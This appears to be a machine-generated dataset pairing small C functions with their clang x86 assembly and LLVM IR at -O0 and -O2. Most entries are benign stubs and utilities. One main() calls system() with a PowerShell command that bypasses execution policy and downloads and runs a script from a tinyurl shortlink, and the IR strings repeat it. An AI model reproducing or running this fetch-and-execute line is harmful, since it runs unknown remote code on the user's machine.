<faketalk>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<faketalk>:
ret

LLVM IR (-O0):
define void @faketalk() {
ret void
}

LLVM IR (-O2):
define void @faketalk() {
ret void
}
void gtk_text_buffer_cut_clipboard() {}


x86 assembly (clang, -O0):
<gtk_text_buffer_cut_clipboard>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<gtk_text_buffer_cut_clipboard>:
ret

LLVM IR (-O0):
define void @gtk_text_buffer_cut_clipboard() {
ret void
}

LLVM IR (-O2):
define void @gtk_text_buffer_cut_clipboard() {
ret void
}
void pathconN_nm9_incref(void) {}


x86 assembly (clang, -O0):
<pathconN_nm9_incref>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<pathconN_nm9_incref>:
ret

LLVM IR (-O0):
define void @pathconN_nm9_incref() {
ret void
}

LLVM IR (-O2):
define void @pathconN_nm9_incref() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, char *);
void show_usage(char *argv0) {
  printf("Usage: %s -s [server:port] -n [nick] -r [realname] -l [logfile]\n",
         argv0);
}


x86 assembly (clang, -O0):
<show_usage>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rsi
lea    0xed9(%rip),%rdi
call   1030 <printf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<show_usage>:
mov    %rdi,%rsi
lea    0xee6(%rip),%rdi
jmp    1030 <printf@plt>

LLVM IR (-O0):
@.str = [65 x i8] c"Usage: %s -s [server:port] -n [nick] -r [realname] -l [logfile]\0A\00"
define void @show_usage(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = call i32 @printf(i8* getelementptr inbounds ([65 x i8], [65 x i8]* @.str, i64 0, i64 0), i8* %3)
ret void
}

LLVM IR (-O2):
@.str = [65 x i8] c"Usage: %s -s [server:port] -n [nick] -r [realname] -l [logfile]\0A\00"
define void @show_usage(i8* %0) {
%2 = tail call i32 @printf(i8* getelementptr inbounds ([65 x i8], [65 x i8]* @.str, i64 0, i64 0), i8* %0)
ret void
}
/* Variables and functions */
scalar_t__ chdir(char *);
int /*<<< orphan*/ err_sys(char *);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ printf(char *);
int main(void) {
  if (chdir("/tmp") < 0) {
    err_sys("chdir failed");
  }
  printf("chdir to /tmp succeeded\n");
  exit(0);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xeaa(%rip),%rdi
call   1040 <chdir@plt>
cmp    $0x0,%rax
jge    1171 <main+0x31>
lea    0xe99(%rip),%rdi
call   1030 <err_sys@plt>
lea    0xe9a(%rip),%rdi
call   1050 <printf@plt>
xor    %edi,%edi
call   1060 <exit@plt>

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xeb8(%rip),%rdi
call   1050 <chdir@plt>
test   %rax,%rax
jns    115e <main+0x1e>
lea    0xeac(%rip),%rdi
call   1040 <err_sys@plt>
lea    0xead(%rip),%rdi
call   1030 <puts@plt>
xor    %edi,%edi
call   1060 <exit@plt>

LLVM IR (-O0):
@.str = [5 x i8] c"/tmp\00"
@.str.1 = [13 x i8] c"chdir failed\00"
@.str.2 = [25 x i8] c"chdir to /tmp succeeded\0A\00"
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i64 @chdir(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%3 = icmp slt i64 %2, 0
br i1 %3, label %4, label %6
4: ; preds = %0
%5 = call i32 @err_sys(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.1, i64 0, i64 0))
br label %6
6: ; preds = %4, %0
%7 = call i32 @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.2, i64 0, i64 0))
%8 = call i32 @exit(i32 0)
unreachable
}

LLVM IR (-O2):
@.str = [5 x i8] c"/tmp\00"
@.str.1 = [13 x i8] c"chdir failed\00"
@str = [24 x i8] c"chdir to /tmp succeeded\00"
define i32 @main() {
%1 = tail call i64 @chdir(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%2 = icmp slt i64 %1, 0
br i1 %2, label %3, label %5
3: ; preds = %0
%4 = tail call i32 @err_sys(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.1, i64 0, i64 0))
br label %5
5: ; preds = %3, %0
%6 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str, i64 0, i64 0))
%7 = tail call i32 @exit(i32 0)
unreachable
}
/* Variables and functions */
int gethostname(char *, int);
int g_gethostname(char *name, int len) { return gethostname(name, len); }


x86 assembly (clang, -O0):
<g_gethostname>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0xc(%rbp),%esi
call   1030 <gethostname@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<g_gethostname>:
jmp    1030 <gethostname@plt>

LLVM IR (-O0):
define i32 @g_gethostname(i8* %0, i32 %1) {
%3 = alloca i8*
%4 = alloca i32
store i8* %0, i8** %3
store i32 %1, i32* %4
%5 = load i8*, i8** %3
%6 = load i32, i32* %4
%7 = call i32 @gethostname(i8* %5, i32 %6)
ret i32 %7
}

LLVM IR (-O2):
define i32 @g_gethostname(i8* %0, i32 %1) {
%3 = tail call i32 @gethostname(i8* %0, i32 %1)
ret i32 %3
}
void ignore_signals() {}


x86 assembly (clang, -O0):
<ignore_signals>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<ignore_signals>:
ret

LLVM IR (-O0):
define void @ignore_signals() {
ret void
}

LLVM IR (-O2):
define void @ignore_signals() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ vec3f_scalarDiv_new(float *, float *, float const);
void vec3f_scalarDiv(float v[3], const float scalar) {
  vec3f_scalarDiv_new(v, v, scalar);
}


x86 assembly (clang, -O0):
<vec3f_scalarDiv>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
movss  %xmm0,-0xc(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x8(%rbp),%rsi
movss  -0xc(%rbp),%xmm0
call   1030 <vec3f_scalarDiv_new@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<vec3f_scalarDiv>:
mov    %rdi,%rsi
jmp    1030 <vec3f_scalarDiv_new@plt>

LLVM IR (-O0):
define void @vec3f_scalarDiv(float* %0, float %1) {
%3 = alloca float*
%4 = alloca float
store float* %0, float** %3
store float %1, float* %4
%5 = load float*, float** %3
%6 = load float*, float** %3
%7 = load float, float* %4
%8 = call i32 @vec3f_scalarDiv_new(float* %5, float* %6, float %7)
ret void
}

LLVM IR (-O2):
define void @vec3f_scalarDiv(float* %0, float %1) {
%3 = tail call i32 @vec3f_scalarDiv_new(float* %0, float* %0, float %1)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ system(char *);
int main() {
  system("powershell -executionpolicy bypass \"IEX (New-Object "
         "Net.WebClient).DownloadString('http://tinyurl.com/p6fjrmw'); "
         "FreeFish\"");
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [123 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/p6fjrmw'); FreeFish\22\00"
define i32 @main() {
%1 = call i32 @system(i8* getelementptr inbounds ([123 x i8], [123 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [123 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/p6fjrmw'); FreeFish\22\00"
define i32 @main() {
%1 = tail call i32 @system(i8* getelementptr inbounds ([123 x i8], [123 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
void constant_rotating_frame_hessian_2d(double t, double *pars, double *qp,
                                        int n_dim, double *d2H) {}


x86 assembly (clang, -O0):
<constant_rotating_frame_hessian_2d>:
push   %rbp
mov    %rsp,%rbp
movsd  %xmm0,-0x8(%rbp)
mov    %rdi,-0x10(%rbp)
mov    %rsi,-0x18(%rbp)
mov    %edx,-0x1c(%rbp)
mov    %rcx,-0x28(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<constant_rotating_frame_hessian_2d>:
ret

LLVM IR (-O0):
define void @constant_rotating_frame_hessian_2d(double %0, double* %1, double* %2, i32 %3, double* %4) {
%6 = alloca double
%7 = alloca double*
%8 = alloca double*
%9 = alloca i32
%10 = alloca double*
store double %0, double* %6
store double* %1, double** %7
store double* %2, double** %8
store i32 %3, i32* %9
store double* %4, double** %10
ret void
}

LLVM IR (-O2):
define void @constant_rotating_frame_hessian_2d(double %0, double* nocapture %1, double* nocapture %2, i32 %3, double* nocapture %4) {
ret void
}
unsigned char f64(unsigned char x, long int y) {
  return (x << (8 * sizeof(unsigned char) - y)) ^ (x >> y);
}


x86 assembly (clang, -O0):
<f64>:
push   %rbp
mov    %rsp,%rbp
mov    %dil,%al
mov    %al,-0x1(%rbp)
mov    %rsi,-0x10(%rbp)
movzbl -0x1(%rbp),%eax
mov    $0x8,%ecx
sub    -0x10(%rbp),%rcx
shl    %cl,%eax
movzbl -0x1(%rbp),%edx
mov    -0x10(%rbp),%rcx
sar    %cl,%edx
mov    %edx,%ecx
xor    %ecx,%eax
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<f64>:
mov    $0x8,%cl
sub    %sil,%cl
mov    %edi,%eax
shl    %cl,%eax
mov    %esi,%ecx
shr    %cl,%edi
xor    %edi,%eax
ret

LLVM IR (-O0):
define zeroext i8 @f64(i8 zeroext %0, i64 %1) {
%3 = alloca i8
%4 = alloca i64
store i8 %0, i8* %3
store i64 %1, i64* %4
%5 = load i8, i8* %3
%6 = zext i8 %5 to i32
%7 = load i64, i64* %4
%8 = sub i64 8, %7
%9 = trunc i64 %8 to i32
%10 = shl i32 %6, %9
%11 = load i8, i8* %3
%12 = zext i8 %11 to i32
%13 = load i64, i64* %4
%14 = trunc i64 %13 to i32
%15 = ashr i32 %12, %14
%16 = xor i32 %10, %15
%17 = trunc i32 %16 to i8
ret i8 %17
}

LLVM IR (-O2):
define zeroext i8 @f64(i8 zeroext %0, i64 %1) {
%3 = zext i8 %0 to i32
%4 = trunc i64 %1 to i32
%5 = sub i32 8, %4
%6 = shl i32 %3, %5
%7 = lshr i32 %3, %4
%8 = xor i32 %6, %7
%9 = trunc i32 %8 to i8
ret i8 %9
}
/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
scalar_t__ fclose(int /*<<< orphan*/ *);
bool close_5(FILE *this) {
  if (this != NULL)
    return fclose(this) == 0;
  else
    return true;
}


x86 assembly (clang, -O0):
<close_5>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x10(%rbp)
cmpq   $0x0,-0x10(%rbp)
je     1144 <close_5+0x34>
mov    -0x10(%rbp),%rdi
call   1030 <fclose@plt>
cmp    $0x0,%rax
sete   %al
and    $0x1,%al
movzbl %al,%eax
mov    %eax,-0x4(%rbp)
jmp    114b <close_5+0x3b>
movl   $0x1,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<close_5>:
test   %rdi,%rdi
je     112b <close_5+0x1b>
push   %rax
call   1030 <fclose@plt>
mov    %rax,%rcx
xor    %eax,%eax
test   %rcx,%rcx
sete   %al
add    $0x8,%rsp
ret
mov    $0x1,%eax
ret

LLVM IR (-O0):
define i32 @close_5(i32* %0) {
%2 = alloca i32
%3 = alloca i32*
store i32* %0, i32** %3
%4 = load i32*, i32** %3
%5 = icmp ne i32* %4, null
br i1 %5, label %6, label %11
6: ; preds = %1
%7 = load i32*, i32** %3
%8 = call i64 @fclose(i32* %7)
%9 = icmp eq i64 %8, 0
%10 = zext i1 %9 to i32
store i32 %10, i32* %2
br label %12
11: ; preds = %1
store i32 1, i32* %2
br label %12
12: ; preds = %11, %6
%13 = load i32, i32* %2
ret i32 %13
}

LLVM IR (-O2):
define i32 @close_5(i32* %0) {
%2 = icmp eq i32* %0, null
br i1 %2, label %7, label %3
3: ; preds = %1
%4 = tail call i64 @fclose(i32* %0)
%5 = icmp eq i64 %4, 0
%6 = zext i1 %5 to i32
br label %7
7: ; preds = %1, %3
%8 = phi i32 [ %6, %3 ], [ 1, %1 ]
ret i32 %8
}
/* Variables and functions */
char toupper(char);
char *upcasestr(char *s) {
  char *p;
  for (p = s; p && *p; p++) {
    *p = toupper(*p);
  }
  return s;
}


x86 assembly (clang, -O0):
<upcasestr>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    %rax,-0x10(%rbp)
xor    %eax,%eax
cmpq   $0x0,-0x10(%rbp)
mov    %al,-0x11(%rbp)
je     1144 <upcasestr+0x34>
mov    -0x10(%rbp),%rax
movsbl (%rax),%eax
cmp    $0x0,%eax
setne  %al
mov    %al,-0x11(%rbp)
mov    -0x11(%rbp),%al
test   $0x1,%al
jne    1154 <upcasestr+0x44>
jmp    1179 <upcasestr+0x69>
mov    -0x10(%rbp),%rax
movsbl (%rax),%edi
call   1030 <toupper@plt>
mov    %al,%cl
mov    -0x10(%rbp),%rax
mov    %cl,(%rax)
mov    -0x10(%rbp),%rax
add    $0x1,%rax
mov    %rax,-0x10(%rbp)
jmp    1124 <upcasestr+0x14>
mov    -0x8(%rbp),%rax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<upcasestr>:
push   %r14
push   %rbx
push   %rax
mov    %rdi,%r14
test   %rdi,%rdi
je     1146 <upcasestr+0x36>
mov    (%r14),%al
test   %al,%al
je     1146 <upcasestr+0x36>
lea    0x1(%r14),%rbx
nopw   0x0(%rax,%rax,1)
movsbl %al,%edi
call   1030 <toupper@plt>
mov    %al,-0x1(%rbx)
movzbl (%rbx),%eax
add    $0x1,%rbx
test   %al,%al
jne    1130 <upcasestr+0x20>
mov    %r14,%rax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
define i8* @upcasestr(i8* %0) {
%2 = alloca i8*
%3 = alloca i8*
store i8* %0, i8** %2
%4 = load i8*, i8** %2
store i8* %4, i8** %3
br label %5
5: ; preds = %20, %1
%6 = load i8*, i8** %3
%7 = icmp ne i8* %6, null
br i1 %7, label %8, label %13
8: ; preds = %5
%9 = load i8*, i8** %3
%10 = load i8, i8* %9
%11 = sext i8 %10 to i32
%12 = icmp ne i32 %11, 0
br label %13
13: ; preds = %8, %5
%14 = phi i1 [ false, %5 ], [ %12, %8 ]
br i1 %14, label %15, label %23
15: ; preds = %13
%16 = load i8*, i8** %3
%17 = load i8, i8* %16
%18 = call signext i8 @toupper(i8 signext %17)
%19 = load i8*, i8** %3
store i8 %18, i8* %19
br label %20
20: ; preds = %15
%21 = load i8*, i8** %3
%22 = getelementptr inbounds i8, i8* %21, i32 1
store i8* %22, i8** %3
br label %5
23: ; preds = %13
%24 = load i8*, i8** %2
ret i8* %24
}

LLVM IR (-O2):
define i8* @upcasestr(i8* returned %0) {
%2 = icmp eq i8* %0, null
br i1 %2, label %13, label %3
3: ; preds = %1
%4 = load i8, i8* %0
%5 = icmp eq i8 %4, 0
br i1 %5, label %13, label %6
6: ; preds = %3, %6
%7 = phi i8 [ %11, %6 ], [ %4, %3 ]
%8 = phi i8* [ %10, %6 ], [ %0, %3 ]
%9 = tail call signext i8 @toupper(i8 signext %7)
store i8 %9, i8* %8
%10 = getelementptr inbounds i8, i8* %8, i64 1
%11 = load i8, i8* %10
%12 = icmp eq i8 %11, 0
br i1 %12, label %13, label %6
13: ; preds = %6, %3, %1
ret i8* %0
}
/* Variables and functions */
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
int /*<<< orphan*/ stderr;
void error(char *err) { fprintf(stderr, "Error: %s.\n", err); }


x86 assembly (clang, -O0):
<error>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    0x2ebd(%rip),%rax
mov    (%rax),%edi
mov    -0x8(%rbp),%rdx
lea    0xed0(%rip),%rsi
call   1030 <fprintf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<error>:
mov    %rdi,%rdx
mov    0x2ec6(%rip),%rax
mov    (%rax),%edi
lea    0xedd(%rip),%rsi
jmp    1030 <fprintf@plt>

LLVM IR (-O0):
@stderr = global i32 0
@.str = [12 x i8] c"Error: %s.\0A\00"
define void @error(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i32, i32* @stderr
%4 = load i8*, i8** %2
%5 = call i32 @fprintf(i32 %3, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), i8* %4)
ret void
}

LLVM IR (-O2):
@stderr = global i32 0
@.str = [12 x i8] c"Error: %s.\0A\00"
define void @error(i8* %0) {
%2 = load i32, i32* @stderr
%3 = tail call i32 @fprintf(i32 %2, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), i8* %0)
ret void
}
/* Variables and functions */
double getPeriod();
double getPhase();
double phaseDifference(void) { return (getPhase() * 360.0 / getPeriod()); }


x86 assembly (clang, -O0):
<phaseDifference>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    $0x0,%al
call   1040 <getPhase@plt>
movsd  0xec9(%rip),%xmm1
mulsd  %xmm1,%xmm0
movsd  %xmm0,-0x8(%rbp)
mov    $0x0,%al
call   1030 <getPeriod@plt>
movaps %xmm0,%xmm1
movsd  -0x8(%rbp),%xmm0
divsd  %xmm1,%xmm0
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<phaseDifference>:
push   %rax
xor    %eax,%eax
call   1040 <getPhase@plt>
mulsd  0xed0(%rip),%xmm0
movsd  %xmm0,(%rsp)
xor    %eax,%eax
call   1030 <getPeriod@plt>
movsd  (%rsp),%xmm1
divsd  %xmm0,%xmm1
movapd %xmm1,%xmm0
pop    %rax
ret

LLVM IR (-O0):
define double @phaseDifference() {
%1 = call double (...) @getPhase()
%2 = fmul double %1, 3.600000e+02
%3 = call double (...) @getPeriod()
%4 = fdiv double %2, %3
ret double %4
}

LLVM IR (-O2):
define double @phaseDifference() {
%1 = tail call double (...) @getPhase()
%2 = fmul double %1, 3.600000e+02
%3 = tail call double (...) @getPeriod()
%4 = fdiv double %2, %3
ret double %4
}
__attribute__((__weak__, __always___)) char *
softboundmpx_gettext(const char *msgid) {
  void *ret_ptr = gettext(msgid);
  __softboundmpx_store_return_metadata(
      ret_ptr, (void *)((char *)ret_ptr + strlen(ret_ptr)));
  return ret_ptr;
}


x86 assembly (clang, -O0):
<softboundmpx_gettext>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
mov    $0x0,%al
call   1040 <gettext@plt>
cltq
mov    %rax,-0x10(%rbp)
mov    -0x10(%rbp),%rax
mov    %rax,-0x18(%rbp)
mov    -0x10(%rbp),%rax
mov    %rax,-0x20(%rbp)
mov    -0x10(%rbp),%rdi
call   1030 <strlen@plt>
mov    -0x20(%rbp),%rsi
mov    -0x18(%rbp),%rdi
add    %rax,%rsi
mov    $0x0,%al
call   1050 <__softboundmpx_store_return_metadata@plt>
mov    -0x10(%rbp),%rax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<softboundmpx_gettext>:
push   %rbx
xor    %eax,%eax
call   1040 <gettext@plt>
movslq %eax,%rbx
mov    %rbx,%rdi
call   1030 <strlen@plt>
lea    (%rax,%rbx,1),%rsi
mov    %rbx,%rdi
xor    %eax,%eax
call   1050 <__softboundmpx_store_return_metadata@plt>
mov    %rbx,%rax
pop    %rbx
ret

LLVM IR (-O0):
define weak i8* @softboundmpx_gettext(i8* %0) {
%2 = alloca i8*
%3 = alloca i8*
store i8* %0, i8** %2
%4 = load i8*, i8** %2
%5 = call i32 (i8*, ...) bitcast (i32 (...)* @gettext to i32 (i8*, ...)*)(i8* %4)
%6 = sext i32 %5 to i64
%7 = inttoptr i64 %6 to i8*
store i8* %7, i8** %3
%8 = load i8*, i8** %3
%9 = load i8*, i8** %3
%10 = load i8*, i8** %3
%11 = call i64 @strlen(i8* %10)
%12 = getelementptr inbounds i8, i8* %9, i64 %11
%13 = call i32 (i8*, i8*, ...) bitcast (i32 (...)* @__softboundmpx_store_return_metadata to i32 (i8*, i8*, ...)*)(i8* %8, i8* %12)
%14 = load i8*, i8** %3
ret i8* %14
}

LLVM IR (-O2):
define weak i8* @softboundmpx_gettext(i8* %0) {
%2 = tail call i32 (i8*, ...) bitcast (i32 (...)* @gettext to i32 (i8*, ...)*)(i8* %0)
%3 = sext i32 %2 to i64
%4 = inttoptr i64 %3 to i8*
%5 = tail call i64 @strlen(i8* dereferenceable(1) %4)
%6 = getelementptr inbounds i8, i8* %4, i64 %5
%7 = tail call i32 (i8*, i8*, ...) bitcast (i32 (...)* @__softboundmpx_store_return_metadata to i32 (i8*, i8*, ...)*)(i8* %4, i8* %6)
ret i8* %4
}
/* Variables and functions */
scalar_t__ malloc(size_t);
int /*<<< orphan*/ nrerror(char *);
char *cvector(long nl, long nh) {
  char *v;
  v = (char *)malloc((size_t)((nh - nl + 1 + 1) * sizeof(char)));
  if (!v)
    nrerror("allocation failure in dvector()");
  return v - nl + 1;
}


x86 assembly (clang, -O0):
<cvector>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
sub    -0x8(%rbp),%rdi
add    $0x1,%rdi
add    $0x1,%rdi
shl    $0x0,%rdi
call   1040 <malloc@plt>
mov    %rax,-0x18(%rbp)
cmpq   $0x0,-0x18(%rbp)
jne    1164 <cvector+0x44>
lea    0xea1(%rip),%rdi
call   1030 <nrerror@plt>
mov    -0x18(%rbp),%rax
xor    %ecx,%ecx
sub    -0x8(%rbp),%rcx
add    %rcx,%rax
add    $0x1,%rax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<cvector>:
push   %r14
push   %rbx
push   %rax
mov    %rdi,%r14
sub    %rdi,%rsi
lea    0x2(%rsi),%rdi
call   1040 <malloc@plt>
mov    %rax,%rbx
test   %rax,%rax
jne    1147 <cvector+0x27>
lea    0xebe(%rip),%rdi
call   1030 <nrerror@plt>
sub    %r14,%rbx
add    $0x1,%rbx
mov    %rbx,%rax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
@.str = [32 x i8] c"allocation failure in dvector()\00"
define i8* @cvector(i64 %0, i64 %1) {
%3 = alloca i64
%4 = alloca i64
%5 = alloca i8*
store i64 %0, i64* %3
store i64 %1, i64* %4
%6 = load i64, i64* %4
%7 = load i64, i64* %3
%8 = sub nsw i64 %6, %7
%9 = add nsw i64 %8, 1
%10 = add nsw i64 %9, 1
%11 = mul i64 %10, 1
%12 = call i64 @malloc(i64 %11)
%13 = inttoptr i64 %12 to i8*
store i8* %13, i8** %5
%14 = load i8*, i8** %5
%15 = icmp ne i8* %14, null
br i1 %15, label %18, label %16
16: ; preds = %2
%17 = call i32 @nrerror(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str, i64 0, i64 0))
br label %18
18: ; preds = %16, %2
%19 = load i8*, i8** %5
%20 = load i64, i64* %3
%21 = sub i64 0, %20
%22 = getelementptr inbounds i8, i8* %19, i64 %21
%23 = getelementptr inbounds i8, i8* %22, i64 1
ret i8* %23
}

LLVM IR (-O2):
@.str = [32 x i8] c"allocation failure in dvector()\00"
define i8* @cvector(i64 %0, i64 %1) {
%3 = sub i64 2, %0
%4 = add i64 %3, %1
%5 = tail call i64 @malloc(i64 %4)
%6 = icmp eq i64 %5, 0
br i1 %6, label %7, label %9
7: ; preds = %2
%8 = tail call i32 @nrerror(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str, i64 0, i64 0))
br label %9
9: ; preds = %7, %2
%10 = sub i64 0, %0
%11 = inttoptr i64 %5 to i8*
%12 = getelementptr inbounds i8, i8* %11, i64 %10
%13 = getelementptr inbounds i8, i8* %12, i64 1
ret i8* %13
}
/* Variables and functions */
int /*<<< orphan*/ sysctlbyname(char *, long *, size_t *, int /*<<< orphan*/,
                                int /*<<< orphan*/);
long long pqcpucycles_impl_persecond(void) {
  long result = 0;
  size_t resultlen = sizeof(long);
  sysctlbyname("machdep.tsc_freq", &result, &resultlen, 0, 0);
  return result;
}


x86 assembly (clang, -O0):
<pqcpucycles_impl_persecond>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movq   $0x0,-0x8(%rbp)
movq   $0x8,-0x10(%rbp)
lea    0xed1(%rip),%rdi
lea    -0x8(%rbp),%rsi
lea    -0x10(%rbp),%rdx
xor    %r8d,%r8d
mov    %r8d,%ecx
call   1030 <sysctlbyname@plt>
mov    -0x8(%rbp),%rax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<pqcpucycles_impl_persecond>:
sub    $0x18,%rsp
movq   $0x0,0x8(%rsp)
movq   $0x8,0x10(%rsp)
lea    0xed3(%rip),%rdi
lea    0x8(%rsp),%rsi
lea    0x10(%rsp),%rdx
xor    %ecx,%ecx
xor    %r8d,%r8d
call   1030 <sysctlbyname@plt>
mov    0x8(%rsp),%rax
add    $0x18,%rsp
ret

LLVM IR (-O0):
@.str = [17 x i8] c"machdep.tsc_freq\00"
define i64 @pqcpucycles_impl_persecond() {
%1 = alloca i64
%2 = alloca i64
store i64 0, i64* %1
store i64 8, i64* %2
%3 = call i32 @sysctlbyname(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str, i64 0, i64 0), i64* %1, i64* %2, i32 0, i32 0)
%4 = load i64, i64* %1
ret i64 %4
}

LLVM IR (-O2):
@.str = [17 x i8] c"machdep.tsc_freq\00"
define i64 @pqcpucycles_impl_persecond() {
%1 = alloca i64
%2 = alloca i64
%3 = bitcast i64* %1 to i8*
store i64 0, i64* %1
%4 = bitcast i64* %2 to i8*
store i64 8, i64* %2
%5 = call i32 @sysctlbyname(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str, i64 0, i64 0), i64* %1, i64* %2, i32 0, i32 0)
%6 = load i64, i64* %1
ret i64 %6
}
/* Variables and functions */
scalar_t__ pow(double, double);
unsigned short SYS16_SetBit(unsigned short bit, unsigned short value) {
  return (value | (unsigned short)(pow(2.0, (double)bit)));
}


x86 assembly (clang, -O0):
<SYS16_SetBit>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %si,%ax
mov    %di,%cx
mov    %cx,-0x2(%rbp)
mov    %ax,-0x4(%rbp)
movzwl -0x4(%rbp),%eax
mov    %eax,-0x8(%rbp)
movzwl -0x2(%rbp),%eax
cvtsi2sd %eax,%xmm1
movsd  0xec3(%rip),%xmm0
call   1030 <pow@plt>
mov    %rax,%rcx
mov    -0x8(%rbp),%eax
movzwl %cx,%ecx
or     %ecx,%eax
movzwl %ax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<SYS16_SetBit>:
push   %rbx
mov    %esi,%ebx
cvtsi2sd %edi,%xmm1
movsd  0xee1(%rip),%xmm0
call   1030 <pow@plt>
or     %ebx,%eax
pop    %rbx
ret

LLVM IR (-O0):
define zeroext i16 @SYS16_SetBit(i16 zeroext %0, i16 zeroext %1) {
%3 = alloca i16
%4 = alloca i16
store i16 %0, i16* %3
store i16 %1, i16* %4
%5 = load i16, i16* %4
%6 = zext i16 %5 to i32
%7 = load i16, i16* %3
%8 = uitofp i16 %7 to double
%9 = call i64 @pow(double 2.000000e+00, double %8)
%10 = trunc i64 %9 to i16
%11 = zext i16 %10 to i32
%12 = or i32 %6, %11
%13 = trunc i32 %12 to i16
ret i16 %13
}

LLVM IR (-O2):
define zeroext i16 @SYS16_SetBit(i16 zeroext %0, i16 zeroext %1) {
%3 = uitofp i16 %0 to double
%4 = tail call i64 @pow(double 2.000000e+00, double %3)
%5 = trunc i64 %4 to i16
%6 = or i16 %5, %1
ret i16 %6
}